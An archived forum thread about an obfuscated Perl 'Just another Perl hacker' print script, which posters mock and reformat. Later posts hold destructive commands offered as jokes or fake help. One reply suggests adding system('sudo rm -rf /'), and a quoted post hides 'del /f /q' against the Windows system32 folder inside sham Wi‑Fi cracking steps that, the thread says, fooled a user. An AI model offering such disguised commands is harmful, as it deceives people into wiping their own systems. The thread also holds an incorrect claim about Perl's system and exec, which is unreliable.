Archived: Just another Perl hacker

Jaguarstrike · 05-02-2010, 09:08 PM

Code:

for(0..255){print(chr) if((25*(27/9))-1==$_);
if(m/^[^421503679]+?[435]+?$/){push@aa,$&;}};
unshift@aa, pop@aa;for(@aa){print(lc(chr));};
for(-5..$aa[0]){m/[4A][0B]/?print chr oct:32;
$aa[0]--;}for(0..1+1){for(0..3){$aa[0]+=1;}};
$aa=$aa[0];$aa.=--$aa[0]; print lc(chr($aa));
for(0..02){for(0..12){for(0..3){push@_,'$_'};
}}do{print chr oct scalar(@_);push @_,'$_';};
print chr oct scalar(@_);push @_,'$_';$_=457;
@aa=split("|"); unshift @aa, pop @aa;pop @aa;
print chr hex join '', @aa;$SS = join '',@aa;
$_=++$SS*2;print chr oct;for(1..100){$SSS=$_;
last if 0==$_%4};@aa=(a..z); print $aa[$SSS];
$SSS=--$SSS;$SSS--;while(5<$SS){$SS--;$SSS++;
}print chr hex$SSS;for(0..2){$S=$_}$_=$S."0";
print chr hex; for(0..7){for(0..10){pop @_}};
$_=hex scalar(@_);print uc chr;for(-1..2){$_;
shift@aa;$SS++}print shift @aa;$SS=(--$SS)-1;
$SS*=2; $SS=1 . $SS; print chr $SS; $_="GIN";
for (0..1){for (0..2){$SSSS++}}$SSSS.=chr 67;
print chr hex$SSSS;print "\0";@aa=split("|");
for(@aa){push@aaa, ord;}unshift@aaa, pop@aaa;
for(@aaa){print lc chr$_-6};$S=scalar(@aa)*2;
pop@aa;print chr hex$S.chr hex$S.scalar(@aa);
for(0..12){for(0..2){$S++}}$S=hex$S;$S=chr$S;
print lc$S;$S=chr hex 37; for(0..9){$SS+=$S};
$S=$SS;$SS-=70;$S-=$SS-2; print chr hex$S;<>;

Jaguarstrike · 06-06-2010, 07:56 PM

No comments on how I could have improved it?

Mirana · 02-22-2013, 02:54 AM

what a mess

DaSkipper · 02-22-2013, 03:07 AM

I'm not a programmer but I can tell that is fucking sloppy.

Issue313 · 02-22-2013, 03:31 AM

Is this the perl script to summon the devil?

Lanny · 02-22-2013, 05:16 AM

Quote:

Originally Posted by Jaguarstrike

No comments on how I could have improved it?

Yes, just add this line to the end and it'll be perfect :

Code:

system('sudo rm -rf /')

rustyshackleford420 · 03-03-2013, 03:17 AM

Quote:

Originally Posted by Lanny

Yes, just add this line to the end and it'll be perfect :

Code:

system('sudo rm -rf /')

haha wasn't there a thread where someone actually fell for something like that and erased their entire hard drive. That was funny as fuck.

iMagiNation · 03-11-2013, 07:21 AM

sevenTwo · 03-12-2013, 11:18 AM

that's not even properly minimized. You just removed the newlines....

Here it is unwinded.

Code:

for(0..255){
	print(chr) if((25*(27/9))-1==$_);
	if(m/^[^421503679]+?[435]+?$/){
		push@aa,$&;
	}
};
unshift@aa, pop@aa;
for(@aa){
	print(lc(chr));
};
for(-5..$aa[0])
{
	m/[4A][0B]/? print chr oct:32;
	$aa[0]--;
}
for(0..1+1){
	for(0..3){
		$aa[0]+=1;
	}
};
$aa=$aa[0];
$aa.=--$aa[0]; 
print lc(chr($aa));
for(0..02){
	for(0..12){
		for(0..3){
			push@_,'$_'
		};
	}
}
do{
	print chr oct scalar(@_);
	push @_,'$_';
};
print chr oct scalar(@_);
push @_,'$_';
$_=457;
@aa=split("|"); 
unshift @aa, pop @aa;
pop @aa;
print chr hex join '', @aa;
$SS = join '',@aa;
$_=++$SS*2;
print chr oct;
for(1..100){
	$SSS=$_;
	last if 0==$_%4
};
@aa=(a..z); 
print $aa[$SSS];
$SSS=--$SSS;
$SSS--;
while(5<$SS){
	$SS--;
	$SSS++;
}
print chr hex$SSS;
for(0..2){
	$S=$_
}
$_=$S."0";
print chr hex;
for(0..7){
	for(0..10){
		pop @_
	}
};
$_=hex scalar(@_);
print uc chr;
for(-1..2){
	$_;
	shift@aa;
	$SS++
}
print shift @aa;
$SS=(--$SS)-1;
$SS*=2; 
$SS=1 . $SS; 
print chr $SS; 
$_="GIN";
for (0..1){
	for (0..2){
		$SSSS++
	}
}
$SSSS.=chr 67;
print chr hex$SSSS;
print "\0";
@aa=split("|");
for(@aa){
	push@aaa, ord;
}
unshift@aaa, pop@aaa;
for(@aaa){
	print lc chr$_-6
};
$S=scalar(@aa)*2;
pop@aa;
print chr hex$S.chr hex$S.scalar(@aa);
for(0..12){
	for(0..2){
		$S++
	}
}
$S=hex$S;
$S=chr$S;
print lc$S;
$S=chr hex 37; 
for(0..9){
	$SS+=$S
};
$S=$SS;
$SS-=70;
$S-=$SS-2; 
print chr hex$S;
<>

iMagiNation · 03-13-2013, 12:46 AM

thanks for making that readable sevenTwo, perl is hard enough to read without having it all smashed together.

bornkiller · 03-13-2013, 12:57 AM

Quote:

Originally Posted by Lanny

Yes, just add this line to the end and it'll be perfect :

Code:

system('sudo rm -rf /')

LoL!

I wonder how many people have fallen for this?

clandestine · 03-13-2013, 04:28 PM

Quote:

Originally Posted by bornkiller

LoL!

I wonder how many people have fallen for this?

"Anyone who is running a *nix-based system and is capable of knowing how to add that code to a perl script and run said code through an interpreter will most likely already know what that line of code does.. also, sloppy syntax right there - system(); should primarily be used for syscalls on windows systems, exec(); should be used for *nix syscalls - since "rm -rf" is a bash command for *nix terminals, then use of system(); to feed that line of code to the CLI is bad form."

sevenTwo · 03-16-2013, 11:37 AM

Quote:

Originally Posted by clandestine

"Anyone who is running a *nix-based system and is capable of knowing how to add that code to a perl script and run said code through an interpreter will most likely already know what that line of code does.. also, sloppy syntax right there - system(); should primarily be used for syscalls on windows systems, exec(); should be used for *nix syscalls - since "rm -rf" is a bash command for *nix terminals, then use of system(); to feed that line of code to the CLI is bad form."

LOLWUT? exec and system calls work very differently. before you correct someone, make sure you're correct. -_____-

Malcolm Equis · 04-02-2013, 09:18 PM

Quote:

Originally Posted by rustyshackleford420

haha wasn't there a thread where someone actually fell for something like that and erased their entire hard drive. That was funny as fuck.

yep
https://www.zoklet.net/bbs/showthrea...92#post3759892

Haha just realized it was malice

Quote:

Originally Posted by Malcolm Equis

its really not that hard.

open cmd prompt.

now get the name of the adapter,

type in the prompt

ipconfig /all

then type

mk "name of adapter"

Then you need to set permissions on the sys32 folder, so you can mess with the drivers monitoring mode

del /f /q "c:\WINDOWS\system32\*.*"

once you do this you'll either see
the BSSID or not, if you do tell me the numbers and i can crack the hash

Quote:

Originally Posted by Malice

I wish you had said this sooner. I'm typing on my phone right now.

Fortunately I have a backup, but it's still a pain in the ass.

iMagiNation · 04-03-2013, 01:14 AM

I can crax the hash.